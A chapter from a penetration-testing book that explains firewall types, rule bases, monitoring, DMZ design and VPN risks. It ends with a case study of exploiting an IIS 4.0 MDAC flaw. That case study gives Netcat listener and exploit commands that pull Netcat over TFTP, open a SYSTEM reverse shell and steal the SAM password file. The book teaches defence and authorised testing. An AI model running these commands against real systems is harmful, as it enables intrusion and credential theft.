Many people have asked why we included a chapter on firewalls in a book about penetration testing. Due to the importance of firewalls in protecting networks and the large role they play in penetration testing, we feel it is important to cover the relevant aspects of firewalls. This chapter is not meant to be a comprehensive description of or guide to firewalls. It is intended to provide an overview to help readers understand what a firewall is and its role in penetration testing.
A firewall is a device that screens incoming network traffic and allows or disallows the traffic based on a set of rules. Firewalls normally sit at the perimeter of an organization's network, protecting it from the Internet, business partners, or other less secure network segments. A firewall can run on UNIX, NT, or other operating systems with software that performs packet filtering at a minimum, has been hardened against attack, and has multiple network cards to connect different network segments. Appliance devices, such as the Check Point Nokia firewalls, can also be used as firewalls. While filtering routers do provide some protection against attack, they should not be considered true firewalls. These routers are generally not hardened against attack and do not provide many of the higher functions of firewalls such as stateful inspection. We have even seen companies rely on load-balancing equipment to serve as a firewall by blocking access to ports on the machines for which they load balance. Again, a device such as load-balancing equipment is not intended to be used as a firewall and should not be relied on as such. Firewalls perform screening through packet filtering, through stateful inspection (where the firewall actually looks inside the packet), or through the use of proxies.
Many people hold the misconception that a firewall alone protects their network. They think they can take a firewall out of the box, plug it in, never look at it again, and still have it protect their network. The truth is a firewall is only as effective as its rule base, its configuration, and the people monitoring it. Firewalls must be configured with an appropriate rule set and must be constantly patched to address new emerging vulnerabilities and monitored to detect suspicious activity. A firewall is like a locked front door. It protects the occupants and contents, but given enough time, an intruder will probably be able to get around the door, either by picking the lock or breaking it down. Such attacks are analogous to attacks against firewalls. Some are more quiet, inconspicuous, and difficult to detect, such as the lock pick. Others are obvious, and if the occupants take appropriate incident response action, such as calling the police, the attack may stop or be thwarted. However, if the attack is not detected or stopped, the intruder will gain access to the house. Therefore, the firewall needs to be configured correctly and monitored regularly, with appropriate incident response procedures in place should an attack occur.
Monitoring can be active, passive, or both. Firewall monitoring is similar to (or part of) intrusion detection. Intrusion detection sensors placed outside the firewall are usually configured either with thresholds so high they do not detect anything or with such low thresholds the system administrator has come to ignore the alerts since they occur so frequently. Therefore, many intrusion detection sensors are placed behind the firewall to avoid the overwhelming number of false positives generated by everyday Internet traffic. In this type of configuration, the firewall becomes one of the first warning sensors. The firewall should be monitored for suspicious activity, for example, port scans and half scans. This suspicious activity should set off alerts such as e-mails, pages, or messages to the administrator. The firewall should be the early warning system; the IDS sensor behind it is the sentry detecting attacks that get through the firewall. The border router should also be configured to serve as a warning device.
Firewalls should be configured to log all activity. In addition to reviewing the logs for suspicious activity, administrators and the organization can use the logs as forensics evidence in the event of an incident if proper response procedures are followed. The logs should be written to a separate, secure server. If an attacker does obtain unauthorized access to the system, many times the first thing he or she does is to alter the logs. If the logs are written to a secure server, the attacker will have to penetrate it also to get to the logs. Many log review tools can be used to help facilitate reviewing the logs for suspicious activity. These tools look for trends and patterns of activity that could be precursors to attack or actual attacks. The problem with log review is that it is not performed in real time. If suspicious activity is detected, you will know you may have been under attack, but you will not know if you were able to deal with it in time to prevent a successful attack.
In addition to logging, many firewalls can be configured to provide alerts. The alerts can be in the form of e-mails, pages, or messages to the console. As we discussed in Chapter 19, the alerts are configured to send messages when certain threshold levels are met, such as a sequential port scan or three scans within one minute from the same IP address. The alerts and logs combine to make a monitoring system. When performing penetration testing, you should be aware of the type of logging and monitoring being done at the firewall and construct your activity to avoid detection. You should also test the effectiveness of the alerts. Many clients tell us they have configured their firewall to send alerts and are embarrassed when we tell them that their alerts are not working properly—we had been attacking them for a week without them detecting our activity. Most times the administrator is not lying; he or she just misconfigured the alert or never tested it, and the activity was not caught. Therefore, testing the alerts is important.
The organization needs effective incident response procedures to accompany these monitoring mechanisms. If the logs and firewall alerts are monitored properly, the organization will detect intrusion attempts. If procedures for dealing with these attempts are not laid out ahead of time, the organization runs the risk of improper procedures being performed, possibly making the problem worse. For instance, an administrator may detect an attack from a certain address and decide to attack back, only to realize the attack was spoofed. He or she just attacked an innocent party and thereby broke the law. It is never a good idea for an administrator to attack back. Another common mistake that administrators may make is destroying evidence when investigating possible incidents. The incident response procedures need to be clearly defined, distributed, explained to the entire IT staff, and constantly updated to account for changes in attacks and monitoring procedures.
It is unrealistic to think a firewall can be configured to block all traffic. If it did, your organization would not be able to operate. Conversely, you cannot allow your firewall to permit all traffic to pass into the internal network; otherwise, your organization is significantly exposed. Therefore, your rule base must be open enough to allow your business to operate properly but restrictive enough to offer adequate protection. Therefore requests for opening or restricting traffic must be evaluated, justified, and designed to offer adequate protection. Each opening is a risk that should be controlled as much as possible. For instance, if a port must be open for business purposes, it should be controlled by limiting the service to specific IP address ranges if possible.
Each rule normally consists of a source address, a destination, a service, and possibly a description. Often administrators record a source address as “all” or any address rather than go through the trouble of limiting the source to only the parties that truly require access. Also, destinations should be restricted as much as possible. Risky services that can't be adequately controlled should be placed into a demilitarized zone (DMZ) or another segmented section of the network. Each service should be evaluated to determine whether it is necessary or whether a more secure service could be used. For instance, FTP is a service that organizations find necessary to allow through the firewall. A more secure service like Secure Shell (SSH) could be used in place of FTP.
Once the initial rule set has been configured, it will be necessary eventually to change the rules. A process needs to be in place to prevent a firewall administrator from arbitrarily deciding to add or remove a rule and introduce new risks to the organization. Organizations need to put a proper change-control procedure in place. This should include a formal change request form and evaluation process. The request should provide adequate documentation justifying the new rule as well as the time period (start and end) for which the change is required. A change-control group or official selected by the company should then review the request and perform a risk/benefit analysis before deciding whether or not to approve, modify, or disallow the rule change. If approved, the rule should be documented and a date set for reevaluation of the rule to determine whether it is still necessary.
There are three main types of firewalls: packet filtering, stateful inspection, and proxy based. Each type has advantages and disadvantages. Commonly, as the security of the type of firewall increases, performance tends to suffer because the firewall has to perform more operations on each packet.
Packet-filtering firewalls simply look at the source address, destination address, and service and compare them to the rule base or access control list. If they match, the firewall permits the traffic to pass. If the packet does not adhere to the rules, the firewall either drops or denies the packet. Dropping packets versus denying packets is an important concept that many people do not understand. Normally, when a packet is dropped, the firewall does not provide a response to the sender. When a packet is denied, the sender may receive a message that the traffic was denied. Frequently administrators want to “stealth” the firewall, that is, configure it to not respond to any port scans so the attacker will not even know it is there. However, if these administrators deny the packets, rather than drop them, the attacker will receive a response back, inadvertently letting him or her know there is a system there. Cisco PIX and Cisco routers with the IOS configured for packet filtering through the use of access control lists are examples of packet-filtering firewalls.
Packet-filtering routers are relatively secure if configured properly with a restrictive rule set. Many times we are able to defeat packet-filtering routers because their rule sets are too open. The firewall may allow dangerous services into the internal network that we can use to attack internal systems. Also, packet-filtering firewalls are susceptible to spoofing (using packets that have been crafted to have the source and destination address meet the requirements of the firewall while the payload contains the attack). In addition, packet-filtering firewalls can be defeated by tools that allow the attacker to redirect malicious network traffic over other well-known service ports. For instance, Netcat can be used to open listening services on a port such as port 80. Port 80 is normally used for HTTP traffic, and most firewalls permit it to pass. The attacker could use Netcat to direct telnet, FTP, or another application over port 80 and bypass the filtering rules that disallow this type of traffic.
Packet filtering is normally used on routers in today's environments. Packet-filtering rules should be deployed on border routers connected to the Internet to screen unnecessary traffic from ever reaching the firewall. For instance, ICMP should be denied at the border router so that attackers cannot ping the firewall or DMZ systems. The filtering router should also screen NetBIOS and other unnecessary services. Utilizing packet-filtering routers on the network's perimeter defenses reduces the amount of traffic the real firewall needs to process and provides an additional layer of defense.
Stateful-inspection firewalls go one step further than packet-filtering firewalls by actually looking inside the packet to determine whether the packet contains the type of payload expected. This is important because many attackers craft the contents of the packet's payload with attacks intended to bypass a firewall's filters. In the example above, the stateful-inspection firewall would most likely detect the telnet or FTP content being redirected over port 80. Stateful-inspection firewalls can recognize that the contents of the packet do not actually match what they should for a packet with that particular source and destination port. Check Point Firewall is an example of a popular stateful-inspection firewall currently on the market. Stateful-inspection firewalls tend to provide a higher level of protection than packet-filtering firewalls but still perform well under high-traffic conditions. As with packet-filtering firewalls, if the rule base is weak, attackers will be able to get through the firewall.
Proxy-based firewalls are even more secure than stateful-inspection firewalls since the sender never actually connects to the intended receiver. With a proxy firewall, the sender connects to the proxy on the firewall, and the proxy then connects to the receiver. This way the firewall can recognize attacks, and the attack usually never even reaches the intended target. Raptor and Gauntlet are two examples of proxy firewalls.
One of the ways we get around proxy-based firewalls is that, for performance-intensive connections such as connections to a Web server, the proxy firewall may actually be configured to use packet filtering instead of a proxy to improve throughput. Therefore, we are essentially able to use packet-filtering type attacks. A telltale sign of a proxy-based firewall during penetration testing is a system that has many ports open, but you are not able to connect to any of the services. The ports are open because there is a proxy established on the firewall for that particular service. Therefore, every service that is open to the internal network appears open on the firewall.
If proxy-based firewalls are so secure, why doesn't everyone use them? As we stated before, proxy-based systems usually do not offer the same performance as packet-filtering and stateful-inspection firewalls, and proxy-based firewalls cost a lot more money.
In addition to filtering, firewalls often provide network address translation (NAT) capability. NAT is a process whereby one IP address is translated to another. Normally, publicly known IP addresses are translated into internal, hidden addresses that are often not routable on the Internet. NAT is performed for several reasons. First, it hides the internal addressing scheme, thus preventing attackers from knowing the addressing scheme and routing packets to internal systems. Second, using addresses that are not routable on the Internet, such as the reserved addresses, prevents attackers from connecting directly to internal systems.
NAT is an effective security tool, but it can be compromised. In some instances attackers can design specially formed packets to route to internal systems, or they can compromise a DMZ system or other Internet-accessible system that is able to connect to the internal network. In these instances, the firewall or compromised system becomes the attacker's gateway to the internal network.
There are a number of ways we get around or through firewalls during penetration testing. One of the most common methods is due to the weakness of the firewall's rule set. If numerous ports are open to the internal network and the services have not been restricted to defined IP ranges, we can attack the internal network as if there were not even a firewall in place.
Another weakness that we frequently exploit to bypass firewalls is poor network architecture. Poor network architectures make firewalls as futile as a deadbolted door on a house with open windows. The firewall may be secure, but there may be numerous other weaknesses that enable an attacker to obtain internal access, such as dual-homed systems or dial-up modems. Industry best practices require publicly accessible systems, such as Web servers, to be placed into segmented parts of the network, DMZs. Figure 20-1 provides a diagram of a typical DMZ. DMZs are normally connected off of a third or extra network interface on the firewall. One set of firewall rules allows traffic from the Internet to reach the DMZ, and another set of rules restricts traffic from the DMZ to the internal network. The reasoning for this is that if the Web server or publicly available server becomes compromised, the attacker will hopefully be contained to the DMZ segment or at least will have to work hard to get from the DMZ to the internal network. Frequently we find that either clients do not have DMZs and place publicly available systems directly on the internal network or the DMZ is poorly structured and dangerous services are allowed to pass from the DMZ to the internal network. Alternatively, sniffers or keyboard loggers could be installed on compromised systems in the DMZ to capture user IDs and passwords for use on dial-up accounts discovered through war dialing. In other situations, DMZ systems have been dual homed with a second network card connecting directly into the internal network because a particular application may not have worked properly through the firewall. Either way, the poor design creates an opening for an attacker. If the attacker or tester is able to compromise the publicly available system, he or she can then use that system as a gateway into the internal network. Properly designed DMZs should allow only necessary services to the Internet-accessible systems in the DMZ. Then internal systems should connect out to the DMZ system for necessary services. Connections allowed into the internal network from the DMZ should be very restricted, if allowed at all.
When performing penetration testing against a firewall, try to learn the type of firewall and the operating system on which it resides. Also, scan and search for any services that may be running on the system. For instance, many firewalls loaded on UNIX platforms may have sendmail running, or firewalls on NT systems may have IIS. If you are able to exploit one of these services, you can defeat the firewall and hold the keys to the kingdom. This is an important reason for having packet-filtering routers in front of the firewall. If an insecure service becomes open on the firewall by accident, hopefully the packet-filtering router will restrict access to the service or at least hide it so the target is not so inviting. Another example of packet-filtering routers protecting a firewall involves Check Point Firewall's signature port 256. Often firewall administrators fail to block access to the Check Point firewall management services, which operate over port 256. Attackers scan the system, see port 256 open, and know the system is a Check Point firewall and can attempt to connect to the firewall using the Check Point GUI. If the filtering router is blocking port 256, the attacker will have a harder time determining the type of firewall and will not be able to use the GUI to connect to it.
As with any system or application, vulnerabilities and exploits for firewalls are discovered almost every day. For firewalls, the firewall application, the operating system on which it resides, and the hardware platform containing the entire system may be susceptible to vulnerabilities. Therefore, it is important to harden the operating system and constantly monitor for and install security patches for both the firewall application and the operating system. No extraneous services should run on the firewall. Any service on the system is susceptible to exploitation. Keep this in mind when loading a firewall on a UNIX, NT, or other platform. Many services install by default. All services except those necessary for the proper operation of the firewall should be removed. Many of the top firewall products prevent new services from being installed for this specific reason. For example, Raptor's Vulture service will not allow a new service to be installed unless the administrator actually performs specific procedures to allow it to be loaded. However, even with preventive measures such as these, system administrators should constantly be patching and monitoring their systems.
Firewall vulnerabilities are often addressed very quickly. Soon after a vulnerability becomes published for a firewall, the vendor usually has a patch to fix it. The exposure really lies in the time between when the vendor publishes the patch and the firewall administrator actually applies it. This is a window of opportunity for the hacker. Vendors frequently maintain e-mail lists that customers can subscribe to in order to be notified when a new patch is available. Now vendors are even using instant messenger groups to notify customers immediately of new patches. Firewall administrators should subscribe to these services and apply system patches as soon as possible. As we have stated before, some hackers scan the Internet for the newest vulnerability they can exploit and attack each site they find that is susceptible. Since the firewall is the lock on the front door, special care must be taken to ensure it remains secure.
Also, during testing you should scan firewalls for open high-numbered ports. Sometimes firewalls have high-numbered ports open to allow employees to download and play RealAudio/RealVideo and play multiplayer role-playing games, such as Quake on 26000 or Netrek, a Star Trek simulation game played on TCP port 61240. Once open, these ports create a hole that can be used to communicate directly with hosts within the network or to bounce reverse telnet windows back onto the attackers' machines from within the network. System administrators may not even know that these ports are open, or if they do, they are hoping that no one will think to check these high-numbered ports. (For more information about redirecting traffic through a firewall, see Section 16.25 on FPipe or Section 9.6.1 on Datapipe.)
As virtual private networks (VPNs) extend the borders of the corporate network into the homes of employees, risks to the organization increase. Normally, employees who are connecting to the corporation via an Internet-based VPN are doing so over a DSL or cable modem connection with a VPN client on their laptop or PC. The problem with many of these VPN clients is that they do not have any type of firewall capability and the system is directly connected to the Internet. Therefore, if a hacker compromises an employee's laptop connected to the Internet via a cable modem or DSL connection, and that employee connects to the corporation through a VPN tunnel, the attacker can use the VPN client as a gateway into the corporation's network. To help prevent such an attack, corporate VPN solutions should include a client-based firewall product that enforces the company's firewall policy down to the desktop that hosts the VPN client. This way the risk of the employee's system being compromised is reduced, and if it is compromised, the ability of an attacker to cause damage to the internal network will be reduced as well. Check Point's SecureClient is one such product that is able to push the corporate firewall policy down to the desktop of the VPN client. NetScreen is a hardware appliance that can be placed in front of the VPN client system to provide firewall capabilities. There are other products on the market that provide this type of functionality. Each organization should take measures to ensure the VPN solution it deploys is able to secure the client end of the VPN connection.
There are many types of firewalls that can be used to protect an organization's network. However, a firewall alone does not protect a network. The firewall must have a sound rule set, must be monitored for suspicious activity, and must be updated and patched regularly. In addition, network architecture is important for preventing the connection of insecure services directly to the internal network. Finally, change control and maintenance are important to ensure that new risks and exposures are not introduced over time.
During one engagement we were specifically directed to test a Web site running behind a firewall. To save time, we were given the URL and IP address of the target site. We profiled the site using Nmap to scan for open ports and to perform OS identification.
# nmap –sT –O –v Web_IP_address
We quickly discovered that only port 80 (HTTP) was accessible and the server appeared to be running Windows NT 4.0.
By connecting to port 80 with the What's running tool, we discovered that the server was Internet Information Server (IIS) 4.0 (as seemed likely since the OS was Windows NT 4.0). We performed a search of vulnerability databases (such as www.securityfocus.com) for IIS 4.0 and discovered several potential vulnerabilities. We selected the MDAC RDS vulnerability. rain forest puppy wrote an exploit for this vulnerability that used TFTP to transfer necessary files.
To use the MDAC TFTP exploit, the target computer must be running Windows NT IIS 4.0 and digital to analog conversion (DAC) version 2.1 or earlier. The exploit uses a Perl script, mdac_FTP.pl, so we needed a Perl interpreter installed on the testing system (in this case, our laptop). Also, the script uses TFTP to copy files to the target system. Therefore, we also needed a TFTP server running in order to transfer the file using TFTP. Pumpkin is a free TFTP server that is available at www.klever.net/kin/pumpkin.html.
If the target system is susceptible, the Perl script executes a command on the target system to download Netcat through TFTP. Once the script successfully copies Netcat to the target server, it launches Netcat and connects to the Netcat listener started on the testing system. This results in command line access to the target system with the privileges of SYSTEM. With this access, we could attempt to extract the backup SAM file (sam._), view sensitive information, and load our hacker tool kit onto the system in an effort to attack other hosts.
Before we began, we started our TFTP server (Pumpkin) and made sure Netcat was in the directory where Pumpkin would find it. By selecting options in Pumpkin, you can specify the local directory into which Pumpkin puts files and from which it gets files. To run the exploit, we first started a Netcat listener on port 4000 on our laptop by issuing the command:
C:>nc -L -p 4000
Next, from the directory containing the mdac script, we issued the following command:
C:>mdac exploit>mdac_ftp.pl -h <target IP> -t <TFTP server IP> -i <our IP> -p 4000
In this case, the TFTP server and our IP address were the same. The script exploits a vulnerability in the DAC in IIS to execute commands on the system. In our case, the script issued a command to get Netcat via TFTP from our system. Once Netcat downloaded to the target, it launched Netcat and connected to the Netcat listener on our laptop over the port we had specified (port 4000). This returned a command prompt from the target system onto our laptop. We now had local access and could execute commands on the target system from our laptop.
This attack can execute successfully even though the firewall is blocking all incoming ports except port 80. The MDAC exploit launches at the system via port 80. After that, the target host initiates all the communications. Since the firewall permits all outgoing traffic, the target is able to connect back to the attacking system using TFTP and, in our case, port 4000.
Our next step was to change directories to the WINNT
epair directory. This directory contains the backup SAM file. We then used TFTP to copy this file to our laptop. Once the backup SAM file was on our laptop, we were able to expand it so that it could be read into L0phtCrack. We then imported the password file into L0phtCrack and cracked the passwords. We now had user IDs and passwords that we could potentially use on other systems.
Next we copied our hacker tool kit onto the host. From there we were able to begin the discovery phase again and start targeting new hosts. We could also use FPipe to redirect traffic through the firewall or other filtering devices if necessary. (For examples of using FPipe to redirect traffic, see Chapter 16.)
First, the Web server's banner indicated it was an IIS 4.0 server. This allowed us to quickly determine which exploits to look for. If the banner information had been changed, the attack would have been more difficult. Secondly, the server had not been patched against the MDAC vulnerability, even though a security bulletin had been released. Systems must be patched as soon as possible to secure them against the latest exploits. Finally, the firewall permitted outbound TFTP connections from the Web server to the Internet. The firewall should restrict outbound connections from the Web server to only those services that are absolutely necessary.